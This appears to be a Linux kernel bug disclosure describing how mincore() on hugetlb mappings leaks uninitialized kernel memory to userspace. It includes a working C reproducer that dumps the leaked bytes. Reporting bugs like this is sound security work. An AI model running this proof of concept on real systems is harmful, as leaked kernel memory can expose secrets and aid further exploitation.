I found the following bug with an AFL-based fuzzer:
When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.
This bug can be reproduced with the following testcase:
*/
$ cat mincore_test.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
unsigned char mcbuf[0x1000];
int main(void) {
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
err(1, "mmap");
for (int i=0; i<10000; i++) {
if (mincore((void*)0x86000000, 0x1000000, mcbuf))
perror("mincore");
write(1, mcbuf, 0x1000);
}
}
